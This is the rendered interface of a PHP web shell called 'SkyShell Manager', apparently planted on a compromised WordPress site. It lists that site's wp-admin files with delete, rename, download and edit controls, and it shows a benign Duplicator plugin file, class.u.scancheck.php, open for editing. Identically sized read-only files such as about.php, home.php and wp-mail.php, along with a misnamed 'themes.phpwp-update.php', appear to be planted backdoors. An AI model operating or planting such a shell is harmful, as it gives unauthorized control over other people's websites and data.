ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.1.29

Path:root/var/www/html/wxwpsite/fungiftdeals/wp-admin/

Name	Size	Perm	Actions
📁 css	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 includes	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 maint	-	0755	🗑️ 🏷️
📁 network	-	0755	🗑️ 🏷️
📁 user	-	0755	🗑️ 🏷️
📄 about.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 admin-footer.php	2.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin.php	12.63 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 async-upload.php	5.47 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 authorize-application.php	10.09 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 comment.php	11.37 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 custom-header.php	0.49 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 customize.php	11.21 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-form-blocks.php	14.73 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit.php	19.48 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 export-personal-data.php	7.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 font-library.php	1.01 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 home.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	7.68 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 media-upload.php	3.58 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 menu-header.php	9.82 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 network.php	5.39 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 press-this.php	2.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 privacy.php	2.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 setup-config.php	17.52 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 themes.phpwp-update.php	114.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 update.php	12.76 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 user-edit.php	40.35 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 widgets-form-blocks.php	5.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️

Edit: class.u.scancheck.php

<?php

defined('ABSPATH') || defined('DUPXABSPATH') || exit;
/**
 * Recursivly scans a directory and finds all sym-links and unreadable files
 *
 * Standard: PSR-2
 *
 * @link http://www.php-fig.org/psr/psr-2
 *
 * @package    Duplicator
 * @subpackage classes/utilities
 * @copyright  (c) 2017, Snapcreek LLC
 */

// Exit if accessed directly
if (! defined('DUPLICATOR_VERSION')) {
    exit;
}

class DUP_ScanCheck
{
    /**
     * The number of files scanned
     */
    public $fileCount = 0;
/**
     * The number of directories scanned
     */
    public $dirCount = 0;
/**
     * The maximum count of files before the recursive function stops
     */
    public $maxFiles = 1000000;
/**
     * The maximum count of directories before the recursive function stops
     */
    public $maxDirs = 75000;
/**
     * Recursivly scan the root directory provided
     */
    public $recursion = true;
/**
     * Stores a list of symbolic link files
     */
    public $symLinks = array();
/**
     *  Stores a list of files unreadable by PHP
     */
    public $unreadable = array();
/**
     *  Stores a list of dirs with utf8 settings
     */
    public $nameTestDirs = array();
/**
     *  Stores a list of files with utf8 settings
     */
    public $nameTestFiles = array();
/**
     *  If the maxFiles or maxDirs limit is reached then true
     */
    protected $limitReached = false;
/**
     *  Is the server running on Windows
     */
    private $isWindows = false;
/**
     *  Init this instance of the object
     */
    public function __construct()
    {
        $this->isWindows = defined('PHP_WINDOWS_VERSION_BUILD');
    }

/**
     * Start the scan process
     *
     * @param string $dir A valid directory path where the scan will run
     * @param array $results Used for recursion, do not pass in value with calling
     *
     * @return obj  The scan check object with the results of the scan
     */
    public function run($dir, &$results = array())
    {
        //Stop Recursion if Max search is reached
        if ($this->fileCount > $this->maxFiles || $this->dirCount > $this->maxDirs) {
            $this->limitReached = true;
            return $results;
        }

$files = @scandir($dir);
        if (is_array($files)) {
            foreach ($files as $key => $value) {
                $path = realpath($dir . DIRECTORY_SEPARATOR . $value);
                if ($path) {
                    //Files
                    if (!is_dir($path)) {
                        if (!is_readable($path)) {
                            $results[]          = $path;
                            $this->unreadable[] = $path;
                        } elseif ($this->isLink($path)) {
                            $results[]        = $path;
                            $this->symLinks[] = $path;
                        } else {
                            $name         = basename($path);
                            $invalid_test =  preg_match('/(\/|\*|\?|\>|\<|\:|\\|\|)/', $name)
                                || trim($name) == ''
                                || (strrpos($name, '.') == strlen($name) - 1 && substr($name, -1) == '.')
                                || preg_match('/[^\x20-\x7f]/', $name);
                            if ($invalid_test) {
                                if (! DUP_Util::$PHP7_plus && DUP_Util::isWindows()) {
                                                    $this->nameTestFiles[] = utf8_decode($path);
                                } else {
                                            $this->nameTestFiles[] = $path;
                                }
                            }
                        }
                        $this->fileCount++;
                    } elseif ($value != "." && $value != "..") {
                        //Dirs
                        if (!$this->isLink($path) && $this->recursion) {
                            $this->Run($path, $results);
                        }

if (!is_readable($path)) {
                            $results[]          = $path;
                            $this->unreadable[] = $path;
                        } elseif ($this->isLink($path)) {
                            $results[]        = $path;
                            $this->symLinks[] = $path;
                        } else {
                            $invalid_test = strlen($path) > 244
                                || trim($path) == ''
                                || preg_match('/[^\x20-\x7f]/', $path);
                            if ($invalid_test) {
                                if (! DUP_Util::$PHP7_plus && DUP_Util::isWindows()) {
                                                    $this->nameTestDirs[] = utf8_decode($path);
                                } else {
                                            $this->nameTestDirs[] = $path;
                                }
                            }
                        }

$this->dirCount++;
                    }
                }
            }
        }
        return $this;
    }

/**
     * Separation logic for supporting how different operating systems work
     *
     * @param string $target A valid file path
     *
     * @return bool  Is the target a sym link
     */
    private function isLink($target)
    {
        //Currently Windows does not support sym-link detection
        if ($this->isWindows) {
            return false;
        } elseif (is_link($target)) {
            return true;
        }
        return false;
    }
}

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.1.29

Edit: class.u.scancheck.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.1.29